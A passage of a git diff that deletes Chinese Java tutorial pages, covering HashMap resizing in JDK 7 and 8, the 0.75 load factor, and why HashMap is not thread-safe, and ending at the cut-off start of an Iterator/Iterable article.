newTable[i]`,也就是使用了单链表的头插入方式,同一位置上新元素总会被放在链表的头部位置;这样先放在一个索引上的元素最终会被放到链表的尾部,这就会导致**在旧数组中同一个链表上的元素,通过重新计算索引位置后,有可能被放到了新数组的不同位置上**。 - -为了解决这个问题,Java 8 做了很大的优化(讲扩容的时候会讲到)。 - -#### Java 8 扩容 - -JDK 8 的扩容源代码: - -```java -final Node[] resize() { - Node[] oldTab = table; // 获取原来的数组 table - int oldCap = (oldTab == null) ? 0 : oldTab.length; // 获取数组长度 oldCap - int oldThr = threshold; // 获取阈值 oldThr - int newCap, newThr = 0; - if (oldCap > 0) { // 如果原来的数组 table 不为空 - if (oldCap >= MAXIMUM_CAPACITY) { // 超过最大值就不再扩充了,就只好随你碰撞去吧 - threshold = Integer.MAX_VALUE; - return oldTab; - } - else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY && // 没超过最大值,就扩充为原来的2倍 - oldCap >= DEFAULT_INITIAL_CAPACITY) - newThr = oldThr << 1; // double threshold - } - else if (oldThr > 0) // initial capacity was placed in threshold - newCap = oldThr; - else { // zero initial threshold signifies using defaults - newCap = DEFAULT_INITIAL_CAPACITY; - newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY); - } - // 计算新的 resize 上限 - if (newThr == 0) { - float ft = (float)newCap * loadFactor; - newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ? - (int)ft : Integer.MAX_VALUE); - } - threshold = newThr; // 将新阈值赋值给成员变量 threshold - @SuppressWarnings({"rawtypes","unchecked"}) - Node[] newTab = (Node[])new Node[newCap]; // 创建新数组 newTab - table = newTab; // 将新数组 newTab 赋值给成员变量 table - if (oldTab != null) { // 如果旧数组 oldTab 不为空 - for (int j = 0; j < oldCap; ++j) { // 遍历旧数组的每个元素 - Node e; - if ((e = oldTab[j]) != null) { // 如果该元素不为空 - oldTab[j] = null; // 将旧数组中该位置的元素置为 null,以便垃圾回收 - if (e.next == null) // 如果该元素没有冲突 - newTab[e.hash & (newCap - 1)] = e; // 直接将该元素放入新数组 - else if (e instanceof TreeNode) // 如果该元素是树节点 - ((TreeNode)e).split(this, newTab, j, oldCap); // 将该树节点分裂成两个链表 - else { // 如果该元素是链表 - Node loHead = null, loTail = null; // 低位链表的头结点和尾结点 - Node hiHead = null, hiTail = null; // 高位链表的头结点和尾结点 - Node next; - do { // 遍历该链表 - next = e.next; - if ((e.hash & oldCap) == 0) { // 如果该元素在低位链表中 - if (loTail == null) // 如果低位链表还没有结点 - loHead = e; // 将该元素作为低位链表的头结点 - else - loTail.next = e; // 如果低位链表已经有结点,将该元素加入低位链表的尾部 - loTail = e; // 更新低位链表的尾结点 - } - else { // 如果该元素在高位链表中 - if (hiTail == null) // 如果高位链表还没有结点 - hiHead = e; // 将该元素作为高位链表的头结点 - else - hiTail.next = e; // 如果高位链表已经有结点,将该元素加入高位链表的尾部 - hiTail = e; // 更新高位链表的尾结点 - } - } while ((e = next) != null); // - if (loTail != null) { // 如果低位链表不为空 - loTail.next = null; // 将低位链表的尾结点指向 null,以便垃圾回收 - newTab[j] = loHead; // 将低位链表作为新数组对应位置的元素 - } - if (hiTail != null) { // 如果高位链表不为空 - hiTail.next = null; // 将高位链表的尾结点指向 null,以便垃圾回收 - newTab[j + oldCap] = hiHead; // 将高位链表作为新数组对应位置的元素 - } - } - } - } - } - return newTab; // 返回新数组 -} -``` - -1、获取原来的数组 table、数组长度 oldCap 和阈值 oldThr。 - -2、如果原来的数组 table 不为空,则根据扩容规则计算新数组长度 newCap 和新阈值 newThr,然后将原数组中的元素复制到新数组中。 - -3、如果原来的数组 table 为空但阈值 oldThr 不为零,则说明是通过带参数构造方法创建的 HashMap,此时将阈值作为新数组长度 newCap。 - -4、如果原来的数组 table 和阈值 oldThr 都为零,则说明是通过无参数构造方法创建的 HashMap,此时将默认初始容量 `DEFAULT_INITIAL_CAPACITY(16)`和默认负载因子 `DEFAULT_LOAD_FACTOR(0.75)`计算出新数组长度 newCap 和新阈值 newThr。 - -5、计算新阈值 threshold,并将其赋值给成员变量 threshold。 - -6、创建新数组 newTab,并将其赋值给成员变量 table。 - -7、如果旧数组 oldTab 不为空,则遍历旧数组的每个元素,将其复制到新数组中。 - -8、返回新数组 newTab。 - -在 JDK 7 中,定位元素位置的代码是这样的: - -```java -static int indexFor(int h, int length) { - // assert Integer.bitCount(length) == 1 : "length must be a non-zero power of 2"; - return h & (length-1); -} -``` - -其实就相当于用键的哈希值和数组大小取模,也就是 `hashCode % table.length`。 - -那我们来假设: - -- 数组 table 的长度为 2 -- 键的哈希值为 3、7、5 - -取模运算后,键发生了哈希冲突,都到 `table[1]` 上了。那么扩容前就是这个样子。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-resize-01.png) - -数组的容量为 2,key 为 3、7、5 的元素在 `table[1]` 上,需要通过拉链法来解决哈希冲突。 - -假设负载因子 loadFactor 为 1,也就是当元素的个数大于 table 的长度时进行扩容。 - -扩容后的数组容量为 4。 - -- key 3 取模(3%4)后是 3,放在 `table[3]` 上。 -- key 7 取模(7%4)后是 3,放在 `table[3]` 上的链表头部。 -- key 5 取模(5%4)后是 1,放在 `table[1]` 上。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-resize-02.png) - -7 跑到 3 的前面了,因为 JDK 7 使用的是头插法。 - -```java -e.next = newTable[i]; -``` - -同时,扩容后的 5 跑到了下标为 1 的位置。 - -最好的情况就是,扩容后的 7 在 3 的后面,5 在 7 的后面,保持原来的顺序。 - -JDK 8 完全扭转了这个局面,因为 JDK 8 的哈希算法进行了优化,当数组长度为 2 的幂次方时,能够很巧妙地解决 JDK 7 中遇到的问题。 - -JDK 8 的扩容代码如下所示: - -```java -Node[] newTab = new Node[newCapacity]; -for (int j = 0; j < oldTab.length; j++) { - Node e = oldTab[j]; - if (e != null) { - int hash = e.hash; - int newIndex = hash & (newCapacity - 1); // 计算在新数组中的位置 - // 将节点移动到新数组的对应位置 - newTab[newIndex] = e; - } -} -``` - -新索引的计算方式是 `hash & (newCapacity - 1)`,和 JDK 7 的 `h & (length-1)`没什么大的差别,差别主要在 hash 方法上,JDK 8 是这样: - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); -} -``` - -过将键的`hashCode()`返回的 32 位哈希值与这个哈希值无符号右移 16 位的结果进行异或。 - -JDK 7 是这样: - -```java -final int hash(Object k) { - int h = hashSeed; - if (0 != h && k instanceof String) { - return sun.misc.Hashing.stringHash32((String) k); - } - - h ^= k.hashCode(); - - // This function ensures that hashCodes that differ only by - // constant multiples at each bit position have a bounded - // number of collisions (approximately 8 at default load factor). - h ^= (h >>> 20) ^ (h >>> 12); - return h ^ (h >>> 7) ^ (h >>> 4); -} -``` - -我们用 JDK 8 的哈希算法来计算一下哈希值,就会发现别有洞天。 - -假设扩容前的数组长度为 16(n-1 也就是二进制的 0000 1111,1X$2^0$+1X$2^1$+1X$2^2$+1X$2^3$=1+2+4+8=15),key1 为 5(二进制为 0000 0101),key2 为 21(二进制为 0001 0101)。 - -- key1 和 n-1 做 & 运算后为 0000 0101,也就是 5; -- key2 和 n-1 做 & 运算后为 0000 0101,也就是 5。 -- 此时哈希冲突了,用拉链法来解决哈希冲突。 - -现在,HashMap 进行了扩容,容量为原来的 2 倍,也就是 32(n-1 也就是二进制的 0001 1111,1X$2^0$+1X$2^1$+1X$2^2$+1X$2^3$+1X$2^4$=1+2+4+8+16=31)。 - -- key1 和 n-1 做 & 运算后为 0000 0101,也就是 5; -- key2 和 n-1 做 & 运算后为 0001 0101,也就是 21=5+16,也就是数组扩容前的位置+原数组的长度。 - -神奇吧? - -![三分恶面渣逆袭:扩容位置变化](https://cdn.paicoding.com/tobebetterjavaer/images/sidebar/sanfene/collection-26.png) - -也就是说,在 JDK 8 的新 hash 算法下,数组扩容后的索引位置,要么就是原来的索引位置,要么就是“原索引+原来的容量”,遵循一定的规律。 - -![三分恶面渣逆袭:扩容节点迁移示意图](https://cdn.paicoding.com/tobebetterjavaer/images/sidebar/sanfene/collection-27.png) - -当然了,这个功劳既属于新的哈希算法,也离不开 n 为 2 的整数次幂这个前提,这是它俩通力合作后的结果 `hash & (newCapacity - 1)`。 - -#### 小结 - -当我们往 HashMap 中不断添加元素时,HashMap 会自动进行扩容操作(条件是元素数量达到负载因子(load factor)乘以数组长度时),以保证其存储的元素数量不会超出其容量限制。 - -在进行扩容操作时,HashMap 会先将数组的长度扩大一倍,然后将原来的元素重新散列到新的数组中。 - -由于元素的位置是通过 key 的 hash 和数组长度进行与运算得到的,因此在数组长度扩大后,元素的位置也会发生一些改变。一部分索引不变,另一部分索引为“原索引+旧容量”。 - -### 03、加载因子为什么是 0.75 - -上一个问题提到了加载因子(或者叫负载因子),那么这个问题我们来讨论为什么加载因子是 0.75 而不是 0.6、0.8。 - -我们知道,HashMap 是用数组+链表/红黑树实现的,我们要想往 HashMap 中添加数据(元素/键值对)或者取数据,就需要确定数据在数组中的下标(索引)。 - -先把数据的键进行一次 hash: - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); -} -``` - -再做一次取模运算确定下标: - -```java -i = (n - 1) & hash -``` - -那这样的过程容易产生两个问题: - -- 数组的容量过小,经过哈希计算后的下标,容易出现冲突; -- 数组的容量过大,导致空间利用率不高。 - -加载因子是用来表示 HashMap 中数据的填满程度: - -> 加载因子 = 填入哈希表中的数据个数 / 哈希表的长度 - -这就意味着: - -- 加载因子越小,填满的数据就越少,哈希冲突的几率就减少了,但浪费了空间,而且还会提高扩容的触发几率; -- 加载因子越大,填满的数据就越多,空间利用率就高,但哈希冲突的几率就变大了。 - -好难!!!! - -这就必须在“**哈希冲突**”与“**空间利用率**”两者之间有所取舍,尽量保持平衡,谁也不碍着谁。 - -我们知道,HashMap 是通过拉链法来解决哈希冲突的。 - -为了减少哈希冲突发生的概率,当 HashMap 的数组长度达到一个**临界值**的时候,就会触发扩容,扩容后会将之前小数组中的元素转移到大数组中,这是一个相当耗时的操作。 - -这个临界值由什么来确定呢? - -> 临界值 = 初始容量 \* 加载因子 - -一开始,HashMap 的容量是 16: - -```java -static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16 -``` - -加载因子是 0.75: - -```java -static final float DEFAULT_LOAD_FACTOR = 0.75f; -``` - -也就是说,当 16\*0.75=12 时,会触发扩容机制。 - -**为什么加载因子会选择 0.75 呢?为什么不是 0.8、0.6 呢**? - -这跟统计学里的一个很重要的原理——泊松分布有关。 - -是时候上维基百科了: - -> 泊松分布,是一种统计与概率学里常见到的离散概率分布,由法国数学家西莫恩·德尼·泊松在 1838 年时提出。它会对随机事件的发生次数进行建模,适用于涉及计算在给定的时间段、距离、面积等范围内发生随机事件的次数的应用情形。 - -阮一峰老师曾在一篇博文中详细的介绍了泊松分布和指数分布,大家可以去看一下。 - -> 链接:[https://www.ruanyifeng.com/blog/2015/06/poisson-distribution.html](https://www.ruanyifeng.com/blog/2015/06/poisson-distribution.html) - -具体是用这么一个公式来表示的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-01.png) - -等号的左边,P 表示概率,N 表示某种函数关系,t 表示时间,n 表示数量。 - -在 HashMap 的 doc 文档里,曾有这么一段描述: - -``` -Because TreeNodes are about twice the size of regular nodes, we -use them only when bins contain enough nodes to warrant use -(see TREEIFY_THRESHOLD). And when they become too small (due to -removal or resizing) they are converted back to plain bins. In -usages with well-distributed user hashCodes, tree bins are -rarely used. Ideally, under random hashCodes, the frequency of -nodes in bins follows a Poisson distribution -(http://en.wikipedia.org/wiki/Poisson_distribution) with a -parameter of about 0.5 on average for the default resizing -threshold of 0.75, although with a large variance because of -resizing granularity. Ignoring variance, the expected -occurrences of list size k are (exp(-0.5) * pow(0.5, k) / -factorial(k)). The first values are: -0: 0.60653066 -1: 0.30326533 -2: 0.07581633 -3: 0.01263606 -4: 0.00157952 -5: 0.00015795 -6: 0.00001316 -7: 0.00000094 -8: 0.00000006 -more: less than 1 in ten million -``` - -为了便于大家的理解,这里来重温一下 HashMap 的拉链法和红黑树结构。 - -Java 8 之前,HashMap 使用链表来解决冲突,即当两个或者多个键映射到同一个桶时,它们被放在同一个桶的链表上。当链表上的节点(Node)过多时,链表会变得很长,查找的效率([LinkedList](https://javabebetter.cn/collection/linkedlist.html) 的查找效率为 O(n))就会受到影响。 - -Java 8 中,当链表的节点数超过一个阈值(8)时,链表将转为红黑树(节点为 TreeNode),红黑树(在讲[TreeMap](https://javabebetter.cn/collection/treemap.html)时会细说)是一种高效的平衡树结构,能够在 O(log n) 的时间内完成插入、删除和查找等操作。这种结构在节点数很多时,可以提高 HashMap 的性能和可伸缩性。 - -好,有了这个背景,我们来把上面的 doc 文档翻译为中文: - -``` -因为TreeNode(红黑树的节点)的大小大约是常规节点(链表的节点 Node)的两倍,所以只有当桶内包含足够多的节点时才使用红黑树(参见TREEIFY_THRESHOLD「阈值,值为8」,节点数量较多时,红黑树可以提高查询效率)。 - -由于删除元素或者调整数组大小(扩容)时(再次散列),红黑树可能会被转换为链表(节点数量小于 8 时),节点数量较少时,链表的效率比红黑树更高,因为红黑树需要更多的内存空间来存储节点。 - -在具有良好分布的hashCode使用中,很少使用红黑树。 - -理想情况下,在随机hashCode下,节点在桶中的频率遵循泊松分布(https://zh.wikipedia.org/wiki/卜瓦松分布),平均缩放阈值为0.75,忽略方差,列表大小k的预期出现次数为(exp(-0.5)* pow(0.5,k)/ factorial(k))。 - -前几个值是: -0: 0.60653066 -1: 0.30326533 -2: 0.07581633 -3: 0.01263606 -4: 0.00157952 -5: 0.00015795 -6: 0.00001316 -7: 0.00000094 -8: 0.00000006 - -更多:小于一千万分之一 -``` - -虽然这段话的本意更多的是表示 jdk 8 中为什么拉链长度超过 8 的时候进行了红黑树转换,但提到了 0.75 这个加载因子,但没提到底为什么。 - -为了搞清楚到底为什么,我看到了这篇文章: - -> 参考链接:[https://segmentfault.com/a/1190000023308658](https://segmentfault.com/a/1190000023308658) - -里面提到了一个概念:**二项分布(Binomial Distribution)**。 - -在做一件事情的时候,其结果的概率只有 2 种情况,和抛硬币一样,不是正面就是反面。 - -假如,我们做了 N 次实验,那么在每次试验中只有两种可能的结果,并且每次实验是独立的,不同实验之间互不影响,每次实验成功的概率都是一样的。 - -以此理论为基础:我们往哈希表中扔数据,如果发生哈希冲突就为失败,否则为成功。 - -我们可以设想,实验的 hash 值是随机的,并且经过 hash 运算的键都会映射到 hash 表的地址空间上,那么这个结果也是随机的。所以,每次 put 的时候就相当于我们在扔一个 16 面(HashMap 第一次扩容后的数组默认长度为 16)的骰子,扔骰子实验那肯定是相互独立的。碰撞发生即扔了 n 次有出现重复数字。 - -然后,我们的目的是啥呢? - -就是掷了 k 次骰子,没有一次是相同的概率,需要尽可能的大些,一般意义上我们肯定要大于 0.5(这个数是个理想数)。 - -于是,n 次事件里面,碰撞为 0 的概率,由上面公式得: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-02.png) - -这个概率值需要大于 0.5,我们认为这样的 hashmap 可以提供很低的碰撞率。所以: - -![球友 25 号宇宙提醒](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-03.png) - -这时候,我们对于该公式其实最想求的时候长度 s 的时候,n 为多少次就应该进行扩容了?而负载因子则是$n/s$的值。所以推导如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-04.png) - -所以可以得到 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-05.png) - -其中 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-06.png) - -这就是一个求 `∞⋅0`函数极限问题,这里我们先令$s = m+1(m \to \infty)$则转化为 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-07.png) - -我们再令 $x = \frac{1}{m} (x \to 0)$ 则有, - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-08.png) - -所以 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-loadfactor-09.png) - -考虑到 HashMap 的容量有一个要求:它必须是 2 的 n 次幂。当加载因子选择了 0.75 就可以保证它与容量的乘积为整数。 - -``` -16*0.75=12 -32*0.75=24 -``` - -除了 0.75,0.5~1 之间还有 0.625(5/8)、0.875(7/8)可选,从中位数的角度,挑 0.75 比较完美。另外,维基百科上说,拉链法(解决哈希冲突的一种)的加载因子最好限制在 0.7-0.8 以下,超过 0.8,查表时的 CPU 缓存不命中(cache missing)会按照指数曲线上升。 - -综上,0.75 是个比较完美的选择。 - -#### 小结 - -HashMap 的加载因子(load factor,直译为加载因子,意译为负载因子)是指哈希表中填充元素的个数与桶的数量的比值,当元素个数达到负载因子与桶的数量的乘积时,就需要进行扩容。这个值一般选择 0.75,是因为这个值可以在时间和空间成本之间做到一个折中,使得哈希表的性能达到较好的表现。 - -如果负载因子过大,填充因子较多,那么哈希表中的元素就会越来越多地聚集在少数的桶中,这就导致了冲突的增加,这些冲突会导致查找、插入和删除操作的效率下降。同时,这也会导致需要更频繁地进行扩容,进一步降低了性能。 - -如果负载因子过小,那么桶的数量会很多,虽然可以减少冲突,但是在空间利用上面也会有浪费,因此选择 0.75 是为了取得一个平衡点,即在时间和空间成本之间取得一个比较好的平衡点。 - -总之,选择 0.75 这个值是为了在时间和空间成本之间达到一个较好的平衡点,既可以保证哈希表的性能表现,又能够充分利用空间。 - -### 04、线程不安全 - -其实这个问题也不用说太多,但考虑到[面试的时候有些面试官会问](https://javabebetter.cn/interview/java-hashmap-13.html),那就简单说一下。 - -三方面原因: - -- 多线程下扩容会死循环 -- 多线程下 put 会导致元素丢失 -- put 和 get 并发时会导致 get 到 null - -#### 1)多线程下扩容会死循环 - -众所周知,HashMap 是通过拉链法来解决哈希冲突的,也就是当哈希冲突时,会将相同哈希值的键值对通过链表的形式存放起来。 - -JDK 7 时,采用的是头部插入的方式来存放链表的,也就是下一个冲突的键值对会放在上一个键值对的前面(讲扩容的时候讲过了)。扩容的时候就有可能导致出现环形链表,造成死循环。 - -resize 方法的源码: - -```java -// newCapacity为新的容量 -void resize(int newCapacity) { - // 小数组,临时过度下 - Entry[] oldTable = table; - // 扩容前的容量 - int oldCapacity = oldTable.length; - // MAXIMUM_CAPACITY 为最大容量,2 的 30 次方 = 1<<30 - if (oldCapacity == MAXIMUM_CAPACITY) { - // 容量调整为 Integer 的最大值 0x7fffffff(十六进制)=2 的 31 次方-1 - threshold = Integer.MAX_VALUE; - return; - } - - // 初始化一个新的数组(大容量) - Entry[] newTable = new Entry[newCapacity]; - // 把小数组的元素转移到大数组中 - transfer(newTable, initHashSeedAsNeeded(newCapacity)); - // 引用新的大数组 - table = newTable; - // 重新计算阈值 - threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1); -} -``` - -transfer 方法用来转移,将小数组的元素拷贝到新的数组中。 - -```java -void transfer(Entry[] newTable, boolean rehash) { - // 新的容量 - int newCapacity = newTable.length; - // 遍历小数组 - for (Entry e : table) { - while(null != e) { - // 拉链法,相同 key 上的不同值 - Entry next = e.next; - // 是否需要重新计算 hash - if (rehash) { - e.hash = null == e.key ? 0 : hash(e.key); - } - // 根据大数组的容量,和键的 hash 计算元素在数组中的下标 - int i = indexFor(e.hash, newCapacity); - - // 同一位置上的新元素被放在链表的头部 - e.next = newTable[i]; - - // 放在新的数组上 - newTable[i] = e; - - // 链表上的下一个元素 - e = next; - } - } -} -``` - -注意 `e.next = newTable[i]` 和 `newTable[i] = e` 这两行代码,它们会将同一位置上的新元素放在链表的头部。 - -扩容前的样子假如是下面这样子。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-01.png) - -那么正常扩容后就是下面这样子。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-02.png) - -假设现在有两个线程同时进行扩容,线程 A 在执行到 `e.next = newTable[i]` 被挂起,此时线程 A 中:e=3、next=7、e.next=null - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-03.png) - -线程 B 开始执行,并且完成了数据转移。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-04.png) - -此时,7 的 next 为 3,3 的 next 为 null。 - -随后线程 A 获得 CPU 时间片继续执行 `e.next = newTable[i];newTable[i] = e`,将 3 放入新数组对应的位置,执行完此轮循环后线程 A 的情况如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-05.png) - -执行下一轮循环,此时 e=7,原本线程 A 中 7 的 next 为 5,但由于 table 是线程 A 和线程 B 共享的,而线程 B 顺利执行完后,7 的 next 变成了 3,那么此时线程 A 中,7 的 next 也为 3 了。 - -采用头部插入的方式,变成了下面这样子: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-06.png) - -好像也没什么问题,此时 next = 3,e = 3。 - -进行下一轮循环,但此时,由于线程 B 将 3 的 next 变为了 null,所以此轮循环应该是最后一轮了。 - -接下来当执行完 `e.next=newTable[i]` 即 3.next=7 后,3 和 7 之间就相互链接了,执行完 `newTable[i]=e` 后,3 被头插法重新插入到链表中,执行结果如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-07.png) - -套娃开始,元素 5 也就成了弃婴,惨~~~ - -这里再插入一名球友小灰飞的分析:“线程A是在8行之后、17行之前挂起”。 - -![小灰飞](https://cdn.paicoding.com/stutymore/hashmap-20241120144833.png) - -不过,JDK 8 时已经修复了这个问题,扩容时会保持链表原来的顺序(嗯,等于说了半天白说了,哈哈,这个面试题确实是这样,很水,但有些面试官又确实比较装逼)。 - -#### 2)多线程下 put 会导致元素丢失 - -正常情况下,当发生哈希冲突时,HashMap 是这样的: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-08.png) - -但多线程同时执行 put 操作时,如果计算出来的索引位置是相同的,那会造成前一个 key 被后一个 key 覆盖,从而导致元素的丢失。 - -put 的源码: - -```java -final V putVal(int hash, K key, V value, boolean onlyIfAbsent, - boolean evict) { - Node[] tab; Node p; int n, i; - - // 步骤①:tab为空则创建 - if ((tab = table) == null || (n = tab.length) == 0) - n = (tab = resize()).length; - - // 步骤②:计算index,并对null做处理 - if ((p = tab[i = (n - 1) & hash]) == null) - tab[i] = newNode(hash, key, value, null); - else { - Node e; K k; - - // 步骤③:节点key存在,直接覆盖value - if (p.hash == hash && - ((k = p.key) == key || (key != null && key.equals(k)))) - e = p; - - // 步骤④:判断该链为红黑树 - else if (p instanceof TreeNode) - e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value); - - // 步骤⑤:该链为链表 - else { - for (int binCount = 0; ; ++binCount) { - if ((e = p.next) == null) { - p.next = newNode(hash, key, value, null); - - //链表长度大于8转换为红黑树进行处理 - if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st - treeifyBin(tab, hash); - break; - } - - // key已经存在直接覆盖value - if (e.hash == hash && - ((k = e.key) == key || (key != null && key.equals(k)))) - break; - p = e; - } - } - - // 步骤⑥、直接覆盖 - if (e != null) { // existing mapping for key - V oldValue = e.value; - if (!onlyIfAbsent || oldValue == null) - e.value = value; - afterNodeAccess(e); - return oldValue; - } - } - ++modCount; - - // 步骤⑦:超过最大容量 就扩容 - if (++size > threshold) - resize(); - afterNodeInsertion(evict); - return null; -} -``` - -问题发生在步骤 ② 这里: - -```java -if ((p = tab[i = (n - 1) & hash]) == null) - tab[i] = newNode(hash, key, value, null); -``` - -两个线程都执行了 if 语句,假设线程 A 先执行了 ` tab[i] = newNode(hash, key, value, null)`,那 table 是这样的: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-09.png) - -接着,线程 B 执行了 ` tab[i] = newNode(hash, key, value, null)`,那 table 是这样的: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/hashmap-thread-nosafe-10.png) - -3 被干掉了。 - -#### 3)put 和 get 并发时会导致 get 到 null - -线程 1 执行 put 时,因为元素个数超出阈值而导致出现扩容,线程 2 此时执行 get,就有可能出现这个问题。 - -![](https://cdn.paicoding.com/stutymore/collection-20240326085630.png) - -因为线程 1 执行完 table = newTab 之后,线程 2 中的 table 此时也发生了变化,此时去 get 的时候当然会 get 到 null 了,因为元素还没有转移。 - - -参考链接: - -> - [https://blog.csdn.net/lonyw/article/details/80519652](https://blog.csdn.net/lonyw/article/details/80519652) -> - [https://zhuanlan.zhihu.com/p/91636401](https://zhuanlan.zhihu.com/p/91636401) -> - [https://www.zhihu.com/question/20733617](https://www.zhihu.com/question/20733617) -> - [https://zhuanlan.zhihu.com/p/21673805](https://zhuanlan.zhihu.com/p/21673805) - -#### 4)小结 - -HashMap 是线程不安全的主要是因为它在进行插入、删除和扩容等操作时可能会导致链表的结构发生变化,从而破坏了 HashMap 的不变性。具体来说,如果在一个线程正在遍历 HashMap 的链表时,另外一个线程对该链表进行了修改(比如添加了一个节点),那么就会导致链表的结构发生变化,从而破坏了当前线程正在进行的遍历操作,可能导致遍历失败或者出现死循环等问题。 - -为了解决这个问题,Java 提供了线程安全的 HashMap 实现类 [ConcurrentHashMap](https://javabebetter.cn/thread/ConcurrentHashMap.html)。ConcurrentHashMap 内部采用了分段锁(Segment),将整个 Map 拆分为多个小的 HashMap,每个小的 HashMap 都有自己的锁,不同的线程可以同时访问不同的小 Map,从而实现了线程安全。在进行插入、删除和扩容等操作时,只需要锁住当前小 Map,不会对整个 Map 进行锁定,提高了并发访问的效率。 - -### 05、小结 - -HashMap 是 Java 中最常用的集合之一,它是一种键值对存储的数据结构,可以根据键来快速访问对应的值。以下是对 HashMap 的总结: - -- HashMap 采用数组+链表/红黑树的存储结构,能够在 O(1)的时间复杂度内实现元素的添加、删除、查找等操作。 -- HashMap 是线程不安全的,因此在多线程环境下需要使用[ConcurrentHashMap](https://javabebetter.cn/thread/ConcurrentHashMap.html)来保证线程安全。 -- HashMap 的扩容机制是通过扩大数组容量和重新计算 hash 值来实现的,扩容时需要重新计算所有元素的 hash 值,因此在元素较多时扩容会影响性能。 -- 在 Java 8 中,HashMap 的实现引入了拉链法、树化等机制来优化大量元素存储的情况,进一步提升了性能。 -- HashMap 中的 key 是唯一的,如果要存储重复的 key,则后面的值会覆盖前面的值。 -- HashMap 的初始容量和加载因子都可以设置,初始容量表示数组的初始大小,加载因子表示数组的填充因子。一般情况下,初始容量为 16,加载因子为 0.75。 -- HashMap 在遍历时是无序的,因此如果需要有序遍历,可以使用[TreeMap](https://javabebetter.cn/collection/treemap.html)。 - -综上所述,HashMap 是一种高效的数据结构,具有快速查找和插入元素的能力,但需要注意线程安全和性能问题。 - -那如果大家已经掌握了 HashMap,那可以刷一下 LeetCode 的第 001 题、013 题,会用到 HashMap、数组和 for 循环,我把题解链接放在了技术派上: - -> - [二哥的 LeetCode 刷题笔记:001.两数之和](https://paicoding.com/column/7/1) -> - [二哥的 LeetCode 刷题笔记:013.罗马数字转整数](https://paicoding.com/column/7/13) - -另外,感谢球友踏歌对文章中的排版错误❎进行指正,文章已经进行了修改,感谢球友的支持。 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 7600+ 的 Java 教程](https://javabebetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/collection/iterator-iterable.md b/docs/src/collection/iterator-iterable.md deleted file mode 100644 index 751b5e7288..0000000000 --- a/docs/src/collection/iterator-iterable.md +++ /dev/null @@ -1,349 +0,0 @@ ---- -title: Java迭代器Iterator和Iterable有什么区别? -shortTitle: Iterator和Iterable的区别 -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java 中的迭代器 Iterator 和 Iterable 接口,阐述了它们的原理、功能及使用方法。通过学习本文,您将更好地理解如何利用 Iterator 和 Iterable 遍历集合,提高编程效率与质量。 -head: - - - meta - - name: keywords - content: Java,Iterable,Iterator,java Iterable,java Iterator,Iterable Iterator,java Iterable Iterator,java迭代器 ---- - - ->PS: 这篇同样来换一个风格,一起来欣赏。 - -那天,小二去海康威视面试,面试官老王一上来就甩给了他一道面试题:请问 Iterator与Iterable有什么区别? - -小二表示很开心,因为他3 天前刚好在《[二哥的Java进阶之路](https://javabetter.cn/collection/iterator-iterable.html)》上读过这篇文章,所以回答得胸有成竹。 - -以下↓是小二当时读过的文章内容,他印象深刻。 - ----- - -在 Java 中,我们对 List 进行遍历的时候,主要有这么三种方式。 - -第一种:for 循环。 - -```java -for (int i = 0; i < list.size(); i++) { - System.out.print(list.get(i) + ","); -} -``` - -第二种:迭代器。 - -```java -Iterator it = list.iterator(); -while (it.hasNext()) { - System.out.print(it.next() + ","); -} -``` - -第三种:for-each。 - -```java -for (String str : list) { - System.out.print(str + ","); -} -``` - -第一种我们略过,第二种用的是 Iterator,第三种看起来是 for-each,其实背后也是 Iterator,看一下反编译后的代码(如下所示)就明白了。 - -```java -Iterator var3 = list.iterator(); - -while(var3.hasNext()) { - String str = (String)var3.next(); - 